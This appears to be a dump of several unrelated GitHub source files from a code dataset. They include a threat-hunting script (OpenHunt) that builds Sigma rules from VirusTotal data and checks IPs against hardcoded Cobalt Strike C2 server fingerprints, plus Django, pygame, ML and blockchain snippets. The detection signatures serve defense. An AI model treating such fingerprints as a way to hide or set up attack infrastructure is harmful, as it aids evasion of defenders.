\"mitre-attack\"\n filename = \"groups.csv\"\n fieldnames = (\"TID\", \"Technique Name\", \"GID\", \"Group Name\", \"Group Description\", \"Usage\")\n relationship_type = \"uses\"\n type_filter = \"intrusion-set\"\n sorting_keys = (\"TID\", \"GID\")\n rowdicts = do_mapping(data_source, fieldnames, relationship_type, type_filter, source_name, sorting_keys, None) \n \n with io.open(filename, \"w\", newline=\"\", encoding=\"utf-8\") as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n writer.writerows(rowdicts)\n \n with open(filename, newline='', encoding='utf-8') as csvfile:\n for row in csv.reader(csvfile):\n for group in groups:\n if group.lower() == row[3].lower():\n ttps.append(row[1])\n if len(groups) == 1:\n print(\"1 group matches that search\\n\")\n else:\n print(str(len(groups)) + \" groups match that search\\n\")\n for element in Counter(ttps).most_common(limit):\n print(str(element).strip(\"('\").strip(\")\").replace(\"',\", \":\"))\n\n main(affiliations_from_input, targets_from_input, logical_and, limit, filename)\n\ndef shodan(ioc, shodan_api_key):\n api = Shodan(shodan_api_key)\n cobalt_strike_sigantures = {\"SSL Serial Number\": \"146473198\", \"SSL Hash\": \"2007783223\", \"Product Name\": \"Cobalt Strike Beacon\", \"SSL sha256\": \"87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C\", \"Port 50050 open\": \"50050\", \"SSL JARM\": \"07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2\"}\n try:\n j = api.host(ioc)\n except:\n return 0\n \n for signature in cobalt_strike_sigantures:\n if cobalt_strike_sigantures[signature] in str(j):\n return str(ioc + \" is believed to be a Cobalt Strike Server because of its \" + signature)\n\ndef virusTotal(virustotal_api_key, shodan_api_key, ioc, sigma_data):\n client = vt.Client(virustotal_api_key)\n cobalt_strike_servers = []\n if (len(ioc) == 32 or len(ioc) == 40 or len(ioc) == 64) and \".\" not in ioc:\n hash = ioc\n file = client.get_object(\"/files/\" + hash)\n md5 = file.get(\"md5\")\n sha1 = file.get(\"sha1\")\n sha256 = file.get(\"sha256\")\n names = file.get(\"names\")\n if len(names) > 0:\n for name in names:\n sigma_data = sigma_data.replace(\"'ImageNameReplaceMe'\", str(name), 1)\n sigma_data = sigma_data.replace(\"ImageNameReplaceMe:\", \" ImageName:\")\n sigma_data = sigma_data.replace(\"selection2ReplaceMe\", \"selection2\")\n if md5:\n sigma_data = sigma_data.replace(\"'IOCMD5ReplaceMe'\", md5)\n sigma_data = sigma_data.replace(\"ImageHashesReplaceMe\", global_IH)\n sigma_data = sigma_data.replace(\"selection3ReplaceMe\", \"selection3\")\n if sha1:\n sigma_data = sigma_data.replace(\"'IOCSHA1ReplaceMe'\", sha1)\n sigma_data = sigma_data.replace(\"ImageHashesReplaceMe\", global_IH)\n sigma_data = sigma_data.replace(\"selection3ReplaceMe\", \"selection3\")\n if sha256:\n sigma_data = sigma_data.replace(\"'IOCSHA256ReplaceMe'\", sha256)\n sigma_data = sigma_data.replace(\"ImageHashesReplaceMe\", global_IH)\n sigma_data = sigma_data.replace(\"selection3ReplaceMe\", \"selection3\")\n virustotal_relationships = [\"dropped_files\", \"execution_parents\", \"contacted_domains\", \"contacted_ips\"]\n for relationship in virustotal_relationships:\n url = \"https://www.virustotal.com/api/v3/files/\" + hash + \"/\" + relationship + \"?limit=100\"\n headers = {\n \"accept\": \"application/json\",\n \"x-apikey\": virustotal_api_key\n }\n response = requests.get(url, headers=headers)\n json_response = json.loads(str(response.text))\n relationship_values = []\n count_of_values = int(json_response[\"meta\"][\"count\"])\n if count_of_values > 10:\n print(\"More than 10 results for \" + relationship + \", stopping at 10\")\n count_of_values = 9\n for i in range(0,count_of_values):\n relationship_values.append(json_response[\"data\"][int(i)][\"id\"])\n if len(relationship_values) > 0:\n for value in relationship_values:\n if relationship == \"dropped_files\":\n sigma_data = sigma_data.replace(\"TargetFileHashReplaceMe:\", str(global_TF) + \":\")\n sigma_data = sigma_data.replace(\"selection4ReplaceMe\", \"selection4\")\n sigma_data = sigma_data.replace(\"'TargetFileHashReplaceMe'\", value, 1)\n if relationship == \"execution_parents\":\n sigma_data = sigma_data.replace(\"ParentImageSHA256ReplaceMe:\", str(global_PI) + \":\")\n sigma_data = sigma_data.replace(\"selectionReplaceMe\", \"selection\")\n sigma_data = sigma_data.replace(\"'ParentImageSHA256ReplaceMe'\", value, 1)\n if relationship == \"contacted_domains\":\n sigma_data = sigma_data.replace(\"ContactedDomainReplaceMe:\", str(global_CD) + \":\")\n sigma_data = sigma_data.replace(\"selection5ReplaceMe\", \"selection5\")\n sigma_data = sigma_data.replace(\"'ContactedDomainReplaceMe'\", \"\\\"\" + value + \"\\\"\", 1)\n if relationship == \"contacted_ips\":\n c2_status = shodan(value, shodan_api_key)\n if c2_status != None and c2_status != 0:\n if \"Cobalt Strike\" in c2_status:\n cobalt_strike_servers.append(str(c2_status))\n sigma_data = sigma_data.replace(\"ContactedIPsReplaceMe:\", str(global_CI) + \":\")\n sigma_data = sigma_data.replace(\"selection6ReplaceMe\", \"selection6\")\n sigma_data = sigma_data.replace(\"'ContactedIPsReplaceMe'\", \"\\\"\" + value + \"\\\"\", 1)\n else:\n # downloaded_files requires Premium\n virustotal_relationships = [\"referrer_files\", \"communicating_files\"]\n if re.search('[a-zA-Z]', ioc):\n type = \"domains\"\n else:\n type = \"ip_addresses\"\n c2_status = shodan(ioc, shodan_api_key)\n if c2_status != None and c2_status != 0:\n if \"Cobalt Strike\" in c2_status:\n cobalt_strike_servers.append(str(c2_status))\n for relationship in virustotal_relationships:\n url = \"https://www.virustotal.com/api/v3/\" + type + \"/\" + ioc + \"/\" + relationship + \"?limit=40\"\n headers = {\n \"accept\": \"application/json\",\n \"x-apikey\": virustotal_api_key\n }\n response = requests.get(url, headers=headers)\n json_response = json.loads(str(response.text))\n relationship_values = []\n count_of_values = int(json_response[\"meta\"][\"count\"])\n if count_of_values > 10:\n print(\"More than 10 results for \" + relationship + \", stopping at 10\")\n count_of_values = 9\n for i in range(0,count_of_values):\n relationship_values.append(json_response[\"data\"][int(i)][\"id\"])\n if len(relationship_values) > 0:\n for relationship_value in relationship_values:\n if relationship == \"referrer_files\":\n sigma_data = sigma_data.replace(\"ReferrerFilesReplaceMe:\", str(global_RF) + \":\")\n sigma_data = sigma_data.replace(\"selection7ReplaceMe\", \"selection7\")\n sigma_data = sigma_data.replace(\"'ReferrerFilesReplaceMe'\", relationship_value, 1)\n if relationship == \"communicating_files\":\n sigma_data = sigma_data.replace(\"CommunicatingFilesReplaceMe:\", str(global_CF) + \":\")\n sigma_data = sigma_data.replace(\"selection8ReplaceMe\", \"selection8\")\n sigma_data = sigma_data.replace(\"'CommunicatingFilesReplaceMe'\", relationship_value, 1)\n if relationship == \"downloaded_files\":\n sigma_data = sigma_data.replace(\"DownloadedFilesReplaceMe:\", str(global_DF) + \":\")\n sigma_data = sigma_data.replace(\"selection9ReplaceMe\", \"selection9\")\n sigma_data = sigma_data.replace(\"'DownloadedFilesReplaceMe'\", \"\\\"\" + relationship_value + \"\\\"\", 1)\n for line in sigma_data.splitlines():\n if \"ReplaceMe\" not in line:\n print(line)\n print()\n if len(cobalt_strike_servers)> 0:\n for server in cobalt_strike_servers:\n print(server)\n\nif mode == \"ioc\":\n virusTotal(virustotal_api_key, shodan_api_key, ioc, sigma_data)\nelif mode == \"ttp\":\n mitre(affiliations_from_input, targets_from_input, limit, filename)\nelse:\n print(\"Incorrect mode\")","repo_name":"montysecurity/OpenHunt","sub_path":"openhunt.py","file_name":"openhunt.py","file_ext":"py","file_size_in_byte":26161,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"26607713568","text":"import pygame\nimport os, sys\n\nsys.path.append(r\"C:\\Users\\danyu\\OneDrive - 서울과학고등학교\\문서\\서울과학고1학년\\컴퓨터과학1\\EntitledToChange\")\n\nfrom data.SETTINGS import *\nfrom data.prepare import *\nfrom data.controls import *\nfrom data.state_manager import State, StateManager\n\nfrom data.components.spaceship import Spaceship\n\n\nclass Endless(State):\n def __init__(self):\n State.__init__(self)\n self.next = None\n self.elements = pygame.sprite.LayeredUpdates()\n self.spaceship = EndlessSpaceship(self, (self.elements,))\n \n self.bg_color = BLACK\n\n def startup(self, now, persist):\n self.persist = persist\n self.start_time = now\n\n def draw(self, surface, interpolate):\n surface.fill(self.bg_color)\n spawn_particles(self.spaceship, 3, 3, 3, surface, (200, 0, 20))\n self.elements.draw(surface)\n\n def update(self, keys, now):\n self.now = now\n if keys[pygame.K_SPACE]:\n self.spaceship.shoot()\n self.elements.update(now)\n\n def getEvent(self, event):\n pass\n\n\nclass EndlessSpaceship(Spaceship):\n def __init__(self, state, *groups):\n Spaceship.__init__(self, state, *groups)\n self.particles = []\n\n def update(self, now, *args):\n super().update(now, *args)\n\n ","repo_name":"1n1tial/EntitledToChange","sub_path":"data/states/endless.py","file_name":"endless.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32061753122","text":"# -*- coding: utf-8\nfrom __future__ import unicode_literals, absolute_import\n\nimport django\n\nDEBUG = True\nUSE_TZ = True\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = \"*h14$myj*sps)85nom$z2477ildyz=ahslv5ghfjkse51yw5ba5c@wa8\"\n\nDATABASES = {\n \"default\": {\n \"ENGINE\": \"django.db.backends.sqlite3\",\n \"NAME\": \":memory:\",\n }\n}\n\nROOT_URLCONF = \"tests.urls\"\n\nINSTALLED_APPS = [\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"django.contrib.sites\",\n \"django_postgres_utils\",\n]\n\nSITE_ID = 1\n\nif django.VERSION >= (1, 11):\n MIDDLEWARE = ()\nelse:\n MIDDLEWARE_CLASSES = ()\n","repo_name":"tehamalab/django-postgres-utils","sub_path":"tests/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"74553355951","text":"from django.shortcuts import render,HttpResponseRedirect\nfrom django.http import JsonResponse\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom home.models import StockMarket\nimport pandas as pd\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport plotly.io as pio\nfrom django.core.paginator import Paginator\n\n# homepage (2 charts and table of the data)\ndef index(request):\n #to generate the first line and bar chart taking trade_code, date, close, volume columns\n stMarketFirstChart = StockMarket.objects.values('trade_code', 'date', 'close', 'volume').order_by('date')\n dfFirstChart = pd.DataFrame.from_records(stMarketFirstChart)\n\n #to add all the unique values of trade_code in the dropdown of index\n tradeCode = StockMarket.objects.values_list('trade_code',flat=True).distinct()\n #creating the first chart(line and bar)\n fig = create_chart(dfFirstChart, dfFirstChart['trade_code'].iloc[0])\n #creating the second chart(candlestick)\n fig2 = second_chart()\n\n #all the data of stock market\n data = StockMarket.objects.all()\n paginator = Paginator(data, 100)\n page = request.GET.get('page', 1)\n data_page = paginator.get_page(page)\n #total data of stock market\n total=StockMarket.objects.all().count()\n\n context = {\n 'chart': fig.to_html(),\n 'chart2': fig2,\n 'trade_codes':tradeCode,\n 'data': data_page,\n 'total':total,\n }\n return render(request,'index.html', context)\n\n\n#open the item in a new html file that need to be edit\ndef update(request,id):\n #searching the particular id for editing\n stMarket = StockMarket.objects.get(id=id)\n context={\n 'stMarket' : stMarket,\n }\n return render(request,'update.html',context)\n\n\n#edit the item in database\ndef updateRecord(request,id):\n if request.method == \"POST\":\n date = request.POST['date']\n trade_code = request.POST['trade_code']\n high = request.POST['high']\n low = request.POST['low']\n open = request.POST['open']\n close = request.POST['close']\n volume = request.POST['volume']\n stMarket = StockMarket.objects.get(id=id)\n stMarket.date = date\n stMarket.trade_code=trade_code\n stMarket.high=float(high.replace(',',''))\n stMarket.low=float(low.replace(',',''))\n stMarket.open=float(open.replace(',',''))\n stMarket.close=float(close.replace(',',''))\n stMarket.volume=int(volume.replace(',',''))\n stMarket.save()\n messages.success(request,\"The data has been updated\")\n return HttpResponseRedirect(reverse('index'))\n\n\n#after selecting a trade_code from the dropdown this function run to re-render the graph of close and volume(first chart)\ndef update_chart(request):\n selected_trade_code = request.GET.get('trade_code')\n\n stMarket = StockMarket.objects.values('trade_code', 'date', 'close', 'volume').order_by('date')\n df = pd.DataFrame.from_records(stMarket)\n \n updated_chart1 = create_chart(df, selected_trade_code)\n chart_html1 = updated_chart1.to_html()\n\n context = {\n 'chart_html1': chart_html1,\n }\n\n return JsonResponse(context)\n\n#generate the first chart\ndef create_chart(df, selected_trade_code):\n # filter data by selected_trade_code\n filtered_df = df[df['trade_code'] == selected_trade_code]\n\n # create a line chart for close\n line_chart = px.line(filtered_df, x='date', y='close', title='Close')\n\n # create a bar chart for volume\n bar_chart = px.bar(filtered_df, x='date', y='volume', title='Volume')\n\n # combine the line and bar charts into a multi-axis chart\n fig = go.Figure()\n\n # add the line chart on the left y-axis\n fig.add_trace(go.Scatter(x=line_chart.data[0]['x'], y=line_chart.data[0]['y'], mode='lines+markers', name='Close', yaxis='y1'))\n\n # add the bar chart on the right y-axis\n fig.add_trace(go.Bar(x=bar_chart.data[0]['x'], y=bar_chart.data[0]['y'], name='Volume', yaxis='y2'))\n\n fig.update_layout(\n xaxis=dict(title='Date'),\n yaxis=dict(title='Close', side='left', showgrid=False),\n yaxis2=dict(title='Volume', overlaying='y', side='right', showgrid=False),\n title='multi axis chart of close and volume | First Chart',\n )\n\n return fig\n\n\n#generate the second chart(candlestick)\ndef second_chart():\n #taking date,open,high,low,close only\n data = StockMarket.objects.values('date', 'open', 'high','low','close')\n df = pd.DataFrame.from_records(data)\n\n # create a candlestick chart\n fig = go.Figure(data=[go.Candlestick(\n x=df['date'],\n open=df['open'],\n high=df['high'],\n low=df['low'],\n close=df['close']\n )])\n\n fig.update_layout(\n title='Candlestick Chart | 2nd Chart',\n xaxis_title='Date',\n yaxis_title='Price',\n )\n\n return pio.to_html(fig,full_html=False)","repo_name":"Mahin077/stock_market_django","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25610775358","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\npyTextRPG - lib/container.py\n=========================\nThis module houses the inventory class. \nIt is inherited by all characters.\n\"\"\"\n\nclass Container(dict):\n \"\"\"\n Container:\n ==========\n This is the base of the container class.\n It represents something which can hold items or entities.\n \"\"\"\n \n name = ''\n \n def __init__(self, name='Container'):\n self.name = name\n \n def _containsItem(self, itemCheck):\n if str(itemCheck).lower() in str(self.keys()).lower():\n return True\n return False\n \n def _listItems(self):\n ret = ''\n for item in self.keys():\n ret = item + '\\n'\n return ret\n \n def _addItem(self, Item):\n \"\"\"Adds an item to the container\"\"\"\n if self._containsItem(Item):\n self[Item.name].quantity += Item.quantity\n else:\n self[Item.name] = Item\n self[Item.name]._refresh()\n \n def _removeItem(self, Item, quantity=1):\n \"\"\"Removes an item if in container\"\"\"\n if self._containsItem(Item):\n if self[Item.name].quantity <= quantity:\n del self[Item.name]\n else:\n self[Item.name].quantity -= quantity\n else:\n return Item.name + ' is not in this container' \n\n \nclass Inventory(Container):\n \"\"\"\n Inventory:\n ==========\n This class represents a characters inventory, this holds items. \n It is not the same as the Equipment class.\n It is inherited by all characters.\n \"\"\"\n \n name = ''\n description = ''\n \n def __init__(self, name='Inventory', description='A collection of items'):\n Container.__init__(self, name)\n self.description = description\n \n\nclass Equipment(Container):\n \"\"\"\n Equipment:\n ==========\n This class represents a characters equipped items, this holds items. \n It is not the same as the Equipment class.\n It is inherited by all characters.\n \"\"\"\n \n name = ''\n description = ''\n \n \n def __init__(self, name='Equipment', description='Currently equipped items'):\n Container.__init__(self, name)\n self.description = description\n self['helm'] = None\n self['chest'] = None\n self['legs'] = None\n self['boots'] = None\n self['gloves'] = None\n self['left_hand'] = None\n self['right_hand'] = None \n\n def _equipItem(self, item, slot):\n \"\"\"equips new item and returns previous item from slot, None if nothing already equipped\"\"\"\n \n if not str(slot).lower() in str(item.slot).lower():\n return \"I can't put that there!\"\n if self[slot] == None:\n self[slot] = item\n return None\n else:\n retItem = self[slot]\n self[slot] = item\n return retItem\n \n def _unequipItem(self, slot):\n \"\"\"Returns previous item from slot, None if nothing equipped\"\"\"\n if self[slot] == None:\n return None\n else:\n retItem = self[slot]\n self[slot] = None\n return retItem \n \nclass Chest(Container):\n \"\"\"\n Chest:\n ======\n This is a chest, it holds items and gold etc...\n \"\"\"\n \n def __init__(self, *contents):\n if contents != None:\n for item in contents:\n self._addItem(item)\n \n \nif __name__ == '__main__':\n pass","repo_name":"schlerp/pyTextRPG","sub_path":"lib/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"37335500810","text":"from sklearn.base import BaseEstimator, ClassifierMixin\nimport numpy as np\n\nclass SimplePerceptron(BaseEstimator, ClassifierMixin):\n def __init__(self, learning_rate=1.0, k_max=1000):\n self.w_ = None # weights\n self.k_ = None # counter of update steps\n self.class_labels_ = None\n self.k_max_ = k_max\n self.learning_rate_ = learning_rate\n \n def fit(self, X, y):\n m, n = X.shape\n self.class_labels_ = np.unique(y)\n #print(self.class_labels_)\n yy = np.zeros(m, dtype=np.int8) # class labels mapped to: -1, 1\n yy[y == self.class_labels_[0]] = -1\n yy[y == self.class_labels_[1]] = 1 \n self.w_ = np.zeros(n + 1)\n X = np.c_[np.ones(m), X] # adding a column of ones in front of actual features\n self.k_ = 0\n while self.k_ < self.k_max_:\n E = [] # list for indexes of misclassified points\n for i in range(m): # for loop checks which data points are misclassified\n s = self.w_.dot(X[i])\n f = 1 if s > 0 else -1\n if f != yy[i]:\n E.append(i)\n if len(E) == 0:\n break # now whole data set correctly classified\n i = np.random.choice(E)\n self.w_ = self.w_ + self.learning_rate_ * yy[i] * X[i] # UPDATE FORMULA (!)\n self.k_ += 1 \n \n def predict(self, X):\n m = X.shape[0]\n X = np.c_[np.ones(m), X] # adding a column of ones in front of actual features\n sums = self.w_.dot(X.T)\n predictions = np.ones(m, dtype=np.int8)\n predictions[sums <= 0.0] = 0 # mathematically, corresponds to -1\n return self.class_labels_[predictions]","repo_name":"serhatargunsah/perceptron","sub_path":"perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15209147914","text":"import logging\n\nimport jwt.exceptions\nimport websockets\n\nfrom shopeat.core.auth.tokens import account_uid_from_token\nfrom shopeat.core.config import Config\nfrom shopeat.notifier.dispatcher import WSNotificationDispatcher\nfrom shopeat.notifier.plugins.amqp import AMQPNotificationsBroker\nfrom shopeat.notifier.plugins.interface import NotificationsBroker\nfrom shopeat.settings import SHOPEAT_NOTIFIER_HOST, SHOPEAT_NOTIFIER_PORT\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass WSAuthenticationProtocol(websockets.BasicAuthWebSocketServerProtocol):\n async def check_credentials(self, username, access_token):\n if username != \"token\":\n LOGGER.warning(\n \"Websocket authentication failed, user must be 'token'. Received: %s\",\n username,\n )\n return False\n\n try:\n self.account_uid = account_uid_from_token(access_token)\n except jwt.exceptions.InvalidTokenError:\n LOGGER.warning(\"Invalid access token received!\")\n return False\n\n LOGGER.debug(\"Account authenticated from token: %s\", self.account_uid)\n return True\n\n\nclass WSNotificationServer:\n def __init__(self, notifications_broker: NotificationsBroker):\n self.dispatcher = WSNotificationDispatcher()\n self.notifications_broker = notifications_broker\n\n async def handle_connection(self, websocket):\n \"\"\"\n Handle trafic incoming from a given connection and dispatch it to appropriate handlers.\n \"\"\"\n remote_address = \"%s:%s\" % websocket.remote_address[0:2]\n LOGGER.info(\n \"Connection received from %s. User: %s\",\n remote_address,\n websocket.account_uid,\n )\n await self.dispatcher.register_client(websocket)\n\n async for message in websocket:\n LOGGER.info(\n \"Received message from %s. Message: %s\", remote_address, message\n )\n await websocket.send(\"Received 5/5: %s\" % message)\n\n async def run(self):\n \"\"\"\n Wait for websocket connections.\n Then delegate handling of incoming connections to handle_connection method.\n \"\"\"\n host = Config.get(SHOPEAT_NOTIFIER_HOST, default=\"127.0.0.1\")\n port = Config.get(SHOPEAT_NOTIFIER_PORT, default=7000)\n\n LOGGER.info(\n \"Notification server waiting for websockets connections on %s:%s\",\n host,\n port,\n )\n async with websockets.serve(\n self.handle_connection,\n host,\n int(port),\n create_protocol=WSAuthenticationProtocol,\n ):\n async for notification in self.notifications_broker.iterate():\n await self.dispatcher.dispatch(notification)\n\n @classmethod\n def from_config(cls):\n return cls(notifications_broker=AMQPNotificationsBroker.from_config())\n","repo_name":"sylvanld/shopeat","sub_path":"shopeat/notifier/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22498703595","text":"from typing import List\nfrom typing import Union\n\nfrom fastapi import APIRouter\nfrom fastapi import Depends\nfrom fastapi import status\nfrom sqlalchemy.orm import Session\nfrom src.db.connection import get_db_session\nfrom src.db.dataset_repo import data_set_repo\nfrom src.models.data_set import DataSet\nfrom src.services.data_set_service import DataSetService\nfrom src.validators.data_set_validator import DataSetValidator\n\nrouter = APIRouter(\n prefix=\"/data-sets\",\n tags=[\"DataSets\"],\n responses={status.HTTP_404_NOT_FOUND: {\"description\": \"Not found\"}},\n)\n\n\n@router.post(\n \"\",\n response_model=None,\n summary=\"Create a Data Set.\",\n responses={status.HTTP_201_CREATED: {\"model\": DataSetValidator}},\n status_code=status.HTTP_201_CREATED,\n)\nasync def create_data_set(\n body: DataSetValidator, db_session: Session = Depends(get_db_session)\n) -> Union[None, DataSetValidator]:\n \"\"\"\n Create a Data Set.\n \"\"\"\n resp = await DataSetService.create_dataset(body, db_session)\n return DataSetValidator(**resp.get_dict())\n\n\n@router.get(\n \"\",\n response_model=List[DataSetValidator],\n summary=\"Returns a list of Data Sets.\",\n)\nasync def list_all_data_set(\n db_session: Session = Depends(get_db_session),\n) -> List[DataSetValidator]:\n \"\"\"\n Returns a list of Data Sets.\n \"\"\"\n datasets = await DataSetService.get_all_datasets(db_session)\n return [DataSetValidator(**i.get_dict()) for i in datasets]\n\n\n@router.get(\n \"/{dataset_id}\",\n response_model=DataSetValidator,\n summary=\"Returns a Data Set by ID.\",\n)\nasync def get_data_set_by_id(\n data_set: DataSet = Depends(\n data_set_repo.check_if_data_set_exists(id_alias=\"dataset_id\")\n ),\n) -> DataSetValidator:\n \"\"\"\n Returns a Data Set by ID.\n \"\"\"\n return DataSetValidator(**data_set.get_dict())\n\n\n@router.put(\n \"/{dataset_id}\",\n response_model=DataSetValidator,\n summary=\"Update an existing Data Set.\",\n)\nasync def update_data_set(\n body: DataSetValidator,\n data_set: DataSet = Depends(\n data_set_repo.check_if_data_set_exists(id_alias=\"dataset_id\")\n ),\n db_session: Session = Depends(get_db_session),\n) -> DataSetValidator:\n \"\"\"\n Update an existing Data Set.\n \"\"\"\n resp = await DataSetService.update_dataset(data_set, body, db_session)\n return DataSetValidator(**resp.get_dict())\n\n\n@router.delete(\n \"/{dataset_id}\",\n response_model=DataSetValidator,\n summary=\"Delete an existing Data Set.\",\n)\nasync def delete_data_set(\n data_set: DataSet = Depends(\n data_set_repo.check_if_data_set_exists(id_alias=\"dataset_id\")\n ),\n db_session: Session = Depends(get_db_session),\n) -> DataSetValidator:\n \"\"\"\n Delete an existing Data Set.\n \"\"\"\n resp = await DataSetService.delete_dataset_by_id(data_set, db_session)\n return DataSetValidator(**resp.get_dict())\n","repo_name":"ankurtyagi-sdk/mongo-hsm","sub_path":"unload-service/src/api/data_set.py","file_name":"data_set.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5754510694","text":"#encoding=utf-8\n#第 0000 题: 将你的 QQ 头像(或者微博头像)右上角加上红色的数字,类似于微信未读信息数量那种提示效果。 类似于图中效果\n\nfrom cv2 import cv2\n\ndef addNoti(num1):\n img=cv2.imread('/Users/carey/Documents/vscode/python/练习册/0000img1.jpg')\n \n w=int(img.shape[0]*0.9)\n h=int(img.shape[1]*0.1)\n\n cv2.putText(img, num1, (w, h), cv2.FONT_HERSHEY_PLAIN, 2.0, (0, 0, 255), 2)\n cv2.namedWindow(\"Image\")\n cv2.imshow(\"Image\",img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n \n\n\naddNoti(input(\"Please input what you want to put: \"))","repo_name":"Aaron2018/ExcersiseBook","sub_path":"0000notiNum.PY","file_name":"0000notiNum.PY","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39006927023","text":"import sys\r\nfrom collections import deque\r\n\r\ninput = sys.stdin.readline\r\n\r\nN = int(input())\r\nres = deque()\r\n\r\nfor i in range(N):\r\n command = input().split()\r\n command[-1].rstrip()\r\n \r\n if command[0] == \"push_front\":\r\n res.appendleft(command[1])\r\n elif command[0] == \"push_back\":\r\n res.append(command[1])\r\n elif command[0] == \"pop_front\":\r\n if not res: # 비어있으면 -1\r\n print(-1)\r\n else:\r\n print(res.popleft())\r\n elif command[0] == \"pop_back\":\r\n if not res: # 비어있으면 -1\r\n print(-1)\r\n else:\r\n print(res.pop())\r\n elif command[0] == \"size\":\r\n print(len(res))\r\n elif command[0] == \"empty\":\r\n if not res: # 비어있으면 1\r\n print(1)\r\n else:\r\n print(0)\r\n elif command[0] == \"front\":\r\n if not res: # 비어있으면 -1\r\n print(-1)\r\n else:\r\n print(res[0])\r\n elif command[0] == \"back\":\r\n if not res: # 비어있으면 -1\r\n print(-1)\r\n else:\r\n print(res[-1])\r\n","repo_name":"kgh3489/Problem-Solving","sub_path":"백준/Silver/10866. 덱/덱.py","file_name":"덱.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"6155183513","text":"from helpful_scripts import getAcount\nfrom brownie import FundMe\n\n\ndef fund():\n account = getAcount()\n fund_me = FundMe[-1]\n entrence_fee = fund_me.getEntranceFee()\n # print(entrence_fee)\n print(f\"the current entrance fee is: {entrence_fee}\")\n print(\"funding...\")\n fund_me.fund({\"from\": account, \"value\": entrence_fee + 1})\n print(fund_me.addressToAmountFunded(account.address))\n\n\ndef withdrawl():\n account = getAcount()\n fund_me = FundMe[-1]\n print(\"withdrawing...\")\n fund_me.withdraw(({\"from\": account}))\n print(fund_me.addressToAmountFunded(account.address))\n\n\ndef main():\n fund()\n withdrawl()\n","repo_name":"CoinQG/StarterD","sub_path":"scripts/fund_and_withdrawl.py","file_name":"fund_and_withdrawl.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24978237928","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MultipleLocator\nimport numpy as np\n\ndata = pd.read_csv(\"table9.csv\")\n\nx = data[\"lambda\"].values\ny = data[\"sin\"].apply(lambda v: abs(v)).values\nyerr = data[\"sinerr\"].values\n\nplt.errorbar(x, y, xerr=0, yerr=yerr, ls=\"--\", color=\"g\", fmt=None, capsize=5)\na = np.arange(min(x)-10, max(x)+10, 0.01)\np = np.poly1d(np.polyfit(x, y, 1))\nprint('Уравнение', np.poly1d(np.polyfit(x, y, 1)))\nplt.plot(a, p(a), color='k')\nplt.xlim(400, 590)\nplt.ylim(0.19, 0.3)\n\nxminorLocator = MultipleLocator(5)\nyminorLocator = MultipleLocator(0.00325)\nxmajorLocator = MultipleLocator(25)\nymajorLocator = MultipleLocator(0.01625)\nax = plt.subplot()\nax.xaxis.set_minor_locator(xminorLocator)\nax.yaxis.set_minor_locator(yminorLocator)\nax.xaxis.set_major_locator(xmajorLocator)\nax.yaxis.set_major_locator(ymajorLocator)\nplt.grid(which='major', ls='-', lw=0.5, c='k')\nplt.grid(which='minor', ls='--', lw=0.5, c='grey')\nplt.xlabel(u\"$\\lambda$, нм\")\nplt.ylabel(u\"$\\sin{\\phi}$\")\nplt.show()\n","repo_name":"stdereka/python_vis","sub_path":"9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"205796659","text":"import sys\ninput = sys.stdin.readline\n\nn, k, m = map(int, input().split())\ngimbabs = []\nfor _ in range(n):\n length = int(input())\n if length <= k:\n continue\n if length < (k*2):\n length -= k\n else:\n length -= (k*2)\n if length == 0:\n continue\n gimbabs.append(length)\n\nif not gimbabs:\n print(-1)\nelse:\n start, end = 1, max(gimbabs)\n ans = -1\n while start <= end:\n p = (start + end) // 2\n res = 0\n for gb in gimbabs:\n res += (gb//p)\n if res < m:\n end = p-1\n else:\n start = p+1\n ans = p\n print(ans)","repo_name":"zero0205/Algorithm_Python","sub_path":"baekjoon/BinarySearch/18113_그르다 김가놈.py","file_name":"18113_그르다 김가놈.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28838675828","text":"import os\nfrom dotenv import load_dotenv\n\nfrom utils import http_helpers\nfrom utils.url_builder import build_twitch_streams_url\nimport random\nimport logging\n\n# testing 